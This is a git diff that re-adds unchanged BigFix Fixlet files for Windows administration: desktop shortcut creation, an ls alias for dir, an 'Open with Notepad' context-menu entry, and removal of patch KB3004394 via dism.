-    <Description><![CDATA[<P>Deploys a shortcut to the currently logged in user's desktop.</P>
-<P>Prompts for:</P>
-<UL>
-<LI>All Users or Current User
-<LI>The name of the shorcut
-<LI>The URL (or file path)
-<LI>The icon path and code
-<UL>
-<LI>Many apps and dll files have multiple icons attached to them&nbsp; For example, the Shell32 Icon (<A href="http://help4windows.com/windows_8_shell32_dll.shtml">http://help4windows.com/windows_8_shell32_dll.shtml</A>)&nbsp;has a couple dozen&nbsp;(17 or 13 are excellent choices)
-<LI>Internet Explorer's default icon is set as the default option.&nbsp; Change it to any program.&nbsp; You can go to a desktop shortcut and click the "change icon" button to view other icon options and help you pick the one that works for you.</LI></UL></LI></UL>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>true</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2018-11-27</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 30 Nov 2018 19:58:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Actions to ask the user for the input
-action parameter query "SCTarget" with description "Enter 'Current' for Current User or 'All' for All Users." with default value "Current"
-action parameter query "SCName" with description "Enter the name for the icon." with default value "Google"
-action parameter query "SCurl" with description "Enter the URL or path to file" with default value "http://www.google.com"
-action parameter query "SCIcon" with description "Enter the path, code for the icon" with default value "c:\Program Files (x86)\Internet Explorer\iexplore.exe, 1"
-
-//Select Current User or All Users
-if {parameter "SCTarget" of action = "All"}
-    parameter "Desktop" = "c:\users\Public\Desktop"
-else
-    parameter "Desktop" = "c:\users\{name of current user}\Desktop"
-endif
-
-//Create the file
-delete __appendfile
-delete makeshortcut.ps1
-appendfile $Shell = New-Object -ComObject ("WScript.Shell")
-appendfile $ShortCut = $Shell.CreateShortcut("{parameter "Desktop"}\{parameter "SCName"}.lnk")
-appendfile $ShortCut.TargetPath="{parameter "SCurl"}"
-appendfile $ShortCut.Arguments=""
-appendfile $ShortCut.WorkingDirectory = "c:\temp";
-appendfile $ShortCut.WindowStyle = 1;
-appendfile $ShortCut.Hotkey = "";
-appendfile $ShortCut.IconLocation = "{parameter "SCIcon"}";
-appendfile $ShortCut.Description = "";
-appendfile $ShortCut.Save()
-
-//Execute the file
-move __appendfile makeshortcut.ps1
-waithidden "{pathname of system folder & "\WindowsPowerShell\v1.0\powershell.exe"}" ./makeshortcut.ps1]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Create Desktop Shortcut (PowerShell)
+  ID       : 25589
+  Author   : CharlieJax
+  Domain   : BESC
+  Imported : 2018-11-30T11:56:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Create Desktop Shortcut (PowerShell)</Title>
+    <Description><![CDATA[<P>Deploys a shortcut to the currently logged in user's desktop.</P>
+<P>Prompts for:</P>
+<UL>
+<LI>All Users or Current User
+<LI>The name of the shorcut
+<LI>The URL (or file path)
+<LI>The icon path and code
+<UL>
+<LI>Many apps and dll files have multiple icons attached to them&nbsp; For example, the Shell32 Icon (<A href="http://help4windows.com/windows_8_shell32_dll.shtml">http://help4windows.com/windows_8_shell32_dll.shtml</A>)&nbsp;has a couple dozen&nbsp;(17 or 13 are excellent choices)
+<LI>Internet Explorer's default icon is set as the default option.&nbsp; Change it to any program.&nbsp; You can go to a desktop shortcut and click the "change icon" button to view other icon options and help you pick the one that works for you.</LI></UL></LI></UL>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-11-27</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 30 Nov 2018 19:58:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Actions to ask the user for the input
+action parameter query "SCTarget" with description "Enter 'Current' for Current User or 'All' for All Users." with default value "Current"
+action parameter query "SCName" with description "Enter the name for the icon." with default value "Google"
+action parameter query "SCurl" with description "Enter the URL or path to file" with default value "http://www.google.com"
+action parameter query "SCIcon" with description "Enter the path, code for the icon" with default value "c:\Program Files (x86)\Internet Explorer\iexplore.exe, 1"
+
+//Select Current User or All Users
+if {parameter "SCTarget" of action = "All"}
+    parameter "Desktop" = "c:\users\Public\Desktop"
+else
+    parameter "Desktop" = "c:\users\{name of current user}\Desktop"
+endif
+
+//Create the file
+delete __appendfile
+delete makeshortcut.ps1
+appendfile $Shell = New-Object -ComObject ("WScript.Shell")
+appendfile $ShortCut = $Shell.CreateShortcut("{parameter "Desktop"}\{parameter "SCName"}.lnk")
+appendfile $ShortCut.TargetPath="{parameter "SCurl"}"
+appendfile $ShortCut.Arguments=""
+appendfile $ShortCut.WorkingDirectory = "c:\temp";
+appendfile $ShortCut.WindowStyle = 1;
+appendfile $ShortCut.Hotkey = "";
+appendfile $ShortCut.IconLocation = "{parameter "SCIcon"}";
+appendfile $ShortCut.Description = "";
+appendfile $ShortCut.Save()
+
+//Execute the file
+move __appendfile makeshortcut.ps1
+waithidden "{pathname of system folder & "\WindowsPowerShell\v1.0\powershell.exe"}" ./makeshortcut.ps1]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Create Desktop shortcut in User Profile if missing (720).bes b/Sites/Windows Management/Fixlets/Fixlets/Create Desktop shortcut in User Profile if missing (720).bes
index 5db95fb6f..f0b3c18b6 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Create Desktop shortcut in User Profile if missing (720).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Create Desktop shortcut in User Profile if missing (720).bes	
@@ -1,51 +1,51 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Create Desktop shortcut in User Profile if missing
-  ID       : 720
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2012-12-05T10:52:20
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Create Desktop shortcut in User Profile if missing</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it)) of operating system</Relevance>
-    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
-    <Relevance><![CDATA[exists folder ((value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string) & "\Links")]]></Relevance>
-    <Relevance><![CDATA[not exists file "Desktop.lnk" of folder ((value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string) & "\Links")]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2011-11-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 09 Nov 2011 18:57:35 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
-delete makeshortcut.vbs
-appendfile   Set oWS = WScript.CreateObject("WScript.Shell")
-appendfile   sLinkFile = "{(pathname of folder (value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string))}\Links\Desktop.lnk"
-appendfile   Set oLink = oWS.CreateShortcut(sLinkFile)
-appendfile   oLink.TargetPath = "{(pathname of folder (value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string))}\Desktop"
-appendfile   '    oLink.Arguments = ""
-appendfile   '    oLink.Description = "Desktop"
-appendfile   '    oLink.HotKey = ""
-//appendfile   '    oLink.IconLocation = "{pathname of system folder}\imageres.dll"
-appendfile   '    oLink.WindowStyle = "1"
-appendfile   '    oLink.WorkingDirectory = ""
-appendfile   oLink.Save
-move __appendfile makeshortcut.vbs
-waithidden "{pathname of system folder & "\cscript.exe"}" makeshortcut.vbs]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Create Desktop shortcut in User Profile if missing
+  ID       : 720
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-05T10:52:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Create Desktop shortcut in User Profile if missing</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it)) of operating system</Relevance>
+    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
+    <Relevance><![CDATA[exists folder ((value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string) & "\Links")]]></Relevance>
+    <Relevance><![CDATA[not exists file "Desktop.lnk" of folder ((value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string) & "\Links")]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-11-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 09 Nov 2011 18:57:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
+delete makeshortcut.vbs
+appendfile   Set oWS = WScript.CreateObject("WScript.Shell")
+appendfile   sLinkFile = "{(pathname of folder (value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string))}\Links\Desktop.lnk"
+appendfile   Set oLink = oWS.CreateShortcut(sLinkFile)
+appendfile   oLink.TargetPath = "{(pathname of folder (value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string))}\Desktop"
+appendfile   '    oLink.Arguments = ""
+appendfile   '    oLink.Description = "Desktop"
+appendfile   '    oLink.HotKey = ""
+//appendfile   '    oLink.IconLocation = "{pathname of system folder}\imageres.dll"
+appendfile   '    oLink.WindowStyle = "1"
+appendfile   '    oLink.WorkingDirectory = ""
+appendfile   oLink.Save
+move __appendfile makeshortcut.vbs
+waithidden "{pathname of system folder & "\cscript.exe"}" makeshortcut.vbs]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Create LS alias for DIR command - Windows (24046).bes b/Sites/Windows Management/Fixlets/Fixlets/Create LS alias for DIR command - Windows (24046).bes
index c33e47af1..fbcd2a878 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Create LS alias for DIR command - Windows (24046).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Create LS alias for DIR command - Windows (24046).bes	
@@ -1,50 +1,50 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Create LS alias for DIR command - Windows
-  ID       : 24046
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-04-18T13:51:20
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Create LS alias for DIR command - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists lines whose(it contains &quot;@dir %25*&quot;) of files &quot;ls.bat&quot; of windows folders</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-04-18</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 18 Apr 2017 20:48:17 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-// http://stackoverflow.com/questions/9362692/how-to-create-ls-in-windows-command-prompt
-// http://stackoverflow.com/questions/20530996/aliases-in-windows-command-prompt
-
-delete __createfile
-
-createfile until END_OF_FILE
-@dir %*
-@echo off
-
-REM added with bigfix
-REM this is to allow `LS` to be used as an alias for `DIR`
-END_OF_FILE
-
-delete {pathname of windows folders}\ls.bat
-copy __createfile {pathname of windows folders}\ls.bat
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Create LS alias for DIR command - Windows
+  ID       : 24046
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-04-18T13:51:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Create LS alias for DIR command - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists lines whose(it contains &quot;@dir %25*&quot;) of files &quot;ls.bat&quot; of windows folders</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-04-18</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Apr 2017 20:48:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// http://stackoverflow.com/questions/9362692/how-to-create-ls-in-windows-command-prompt
+// http://stackoverflow.com/questions/20530996/aliases-in-windows-command-prompt
+
+delete __createfile
+
+createfile until END_OF_FILE
+@dir %*
+@echo off
+
+REM added with bigfix
+REM this is to allow `LS` to be used as an alias for `DIR`
+END_OF_FILE
+
+delete {pathname of windows folders}\ls.bat
+copy __createfile {pathname of windows folders}\ls.bat
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Create _Open with Notepad_ Context Menu item - Windows (25531).bes b/Sites/Windows Management/Fixlets/Fixlets/Create _Open with Notepad_ Context Menu item - Windows (25531).bes
index e5748333b..2aecb6d73 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Create _Open with Notepad_ Context Menu item - Windows (25531).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Create _Open with Notepad_ Context Menu item - Windows (25531).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Create "Open with Notepad" Context Menu item - Windows
-  ID       : 25531
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2018-07-26T12:58:00
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Create &quot;Open with Notepad&quot; Context Menu item - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists values &quot;&quot; whose(it as string = &quot;notepad %251&quot;) of keys &quot;HKEY_CLASSES_ROOT\*\shell\Open with Notepad\command&quot; of registry</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2018-07-26</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 26 Jul 2018 19:54:39 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-regset &quot;[HKEY_CLASSES_ROOT\*\shell\Open with Notepad\command]&quot; &quot;&quot;=&quot;notepad %1&quot;
-
-// https://www.howtogeek.com/107965/how-to-add-any-application-shortcut-to-windows-explorers-context-menu/
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Create "Open with Notepad" Context Menu item - Windows
+  ID       : 25531
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2018-07-26T12:58:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Create &quot;Open with Notepad&quot; Context Menu item - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists values &quot;&quot; whose(it as string = &quot;notepad %251&quot;) of keys &quot;HKEY_CLASSES_ROOT\*\shell\Open with Notepad\command&quot; of registry</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2018-07-26</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 26 Jul 2018 19:54:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset &quot;[HKEY_CLASSES_ROOT\*\shell\Open with Notepad\command]&quot; &quot;&quot;=&quot;notepad %1&quot;
+
+// https://www.howtogeek.com/107965/how-to-add-any-application-shortcut-to-windows-explorers-context-menu/
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Custom Patch_Uninstall KB3004394 to clear relevance for KB3024777 (3979).bes b/Sites/Windows Management/Fixlets/Fixlets/Custom Patch_Uninstall KB3004394 to clear relevance for KB3024777 (3979).bes
index f08bbe941..a8d47189c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Custom Patch_Uninstall KB3004394 to clear relevance for KB3024777 (3979).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Custom Patch_Uninstall KB3004394 to clear relevance for KB3024777 (3979).bes	
@@ -1,49 +1,49 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Custom Patch:Uninstall KB3004394 to clear relevance for KB3024777
-  ID       : 3979
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2015-02-12T12:21:48
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Custom Patch:Uninstall KB3004394 to clear relevance for KB3024777</Title>
-    <Description><![CDATA[<P>Microsoft's patch KB3024777 is to remove the broken patch KB3004394.</P>
-<P>But 3024777 itself fails to install in&nbsp;many instances.&nbsp; </P>
-<P>This&nbsp;Fixlet is to manually uninstall KB3004394 so 3024777 stops appearing Relevant. </P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance>version of operating system = &quot;6.1&quot; as version</Relevance>
-    <Relevance>/* registry says kb3004394 is installed */ exists  keys whose ((following text of last &quot;_&quot; of preceding text of first &quot;~&quot; of it = &quot;kb3004394&quot;) of (name of it as lowercase) AND (exists value &quot;CurrentState&quot; whose ((it = 96 or it = 112 or it = 6 or it = 7) of (it as integer)) of it)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot;  of native registry</Relevance>
-    <Relevance>/* cab files for kb3004394 are present */ exists (folders (following text of first &quot;\\?\&quot; of preceding text of last &quot;\inst&quot; of it)) whose (exists files whose (name of it as lowercase ends with &quot;.cab&quot;) of it) of (values &quot;InstallLocation&quot; of keys whose ((following text of last &quot;_&quot; of preceding text of first &quot;~&quot; of it = &quot;kb3004394&quot;) of (name of it as lowercase) AND (exists value &quot;CurrentState&quot; whose ((it = 96 or it = 112 or it = 6 or it = 7) of (it as integer)) of it)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot;  of native registry as string)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2015-02-12</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 12 Feb 2015 19:20:01 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-action uses wow64 redirection false
-
-delete __appendfile
-appendfile {concatenation "%0d%0a" of ("dism.exe /online /remove-package /packagepath:%22" & it & "%22 /norestart") of pathnames of files whose (name of it ends with ".cab") of folders (unique values of (following text of first "\\?\" of preceding text of last "\inst" of it) of (values "InstallLocation" of keys whose ((following text of last "_" of preceding text of first "~" of it = "kb3004394") of (name of it as lowercase) AND (exists value "CurrentState" whose ((it = 96 or it = 112 or it = 6 or it = 7) of (it as integer)) of it)) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages"  of native registry as string))}
-delete Remove3004394.cmd
-move __appendfile RemoveKB3004394.cmd
-waithidden cmd /c RemoveKB3004394.cmd
-action requires restart "RemoveKB3004394"
-
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Custom Patch:Uninstall KB3004394 to clear relevance for KB3024777
+  ID       : 3979
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2015-02-12T12:21:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Custom Patch:Uninstall KB3004394 to clear relevance for KB3024777</Title>
+    <Description><![CDATA[<P>Microsoft's patch KB3024777 is to remove the broken patch KB3004394.</P>
+<P>But 3024777 itself fails to install in&nbsp;many instances.&nbsp; </P>
+<P>This&nbsp;Fixlet is to manually uninstall KB3004394 so 3024777 stops appearing Relevant. </P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance>version of operating system = &quot;6.1&quot; as version</Relevance>
+    <Relevance>/* registry says kb3004394 is installed */ exists  keys whose ((following text of last &quot;_&quot; of preceding text of first &quot;~&quot; of it = &quot;kb3004394&quot;) of (name of it as lowercase) AND (exists value &quot;CurrentState&quot; whose ((it = 96 or it = 112 or it = 6 or it = 7) of (it as integer)) of it)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot;  of native registry</Relevance>
+    <Relevance>/* cab files for kb3004394 are present */ exists (folders (following text of first &quot;\\?\&quot; of preceding text of last &quot;\inst&quot; of it)) whose (exists files whose (name of it as lowercase ends with &quot;.cab&quot;) of it) of (values &quot;InstallLocation&quot; of keys whose ((following text of last &quot;_&quot; of preceding text of first &quot;~&quot; of it = &quot;kb3004394&quot;) of (name of it as lowercase) AND (exists value &quot;CurrentState&quot; whose ((it = 96 or it = 112 or it = 6 or it = 7) of (it as integer)) of it)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot;  of native registry as string)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-02-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 12 Feb 2015 19:20:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection false
+
+delete __appendfile
+appendfile {concatenation "%0d%0a" of ("dism.exe /online /remove-package /packagepath:%22" & it & "%22 /norestart") of pathnames of files whose (name of it ends with ".cab") of folders (unique values of (following text of first "\\?\" of preceding text of last "\inst" of it) of (values "InstallLocation" of keys whose ((following text of last "_" of preceding text of first "~" of it = "kb3004394") of (name of it as lowercase) AND (exists value "CurrentState" whose ((it = 96 or it = 112 or it = 6 or it = 7) of (it as integer)) of it)) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages"  of native registry as string))}
+delete Remove3004394.cmd
+move __appendfile RemoveKB3004394.cmd
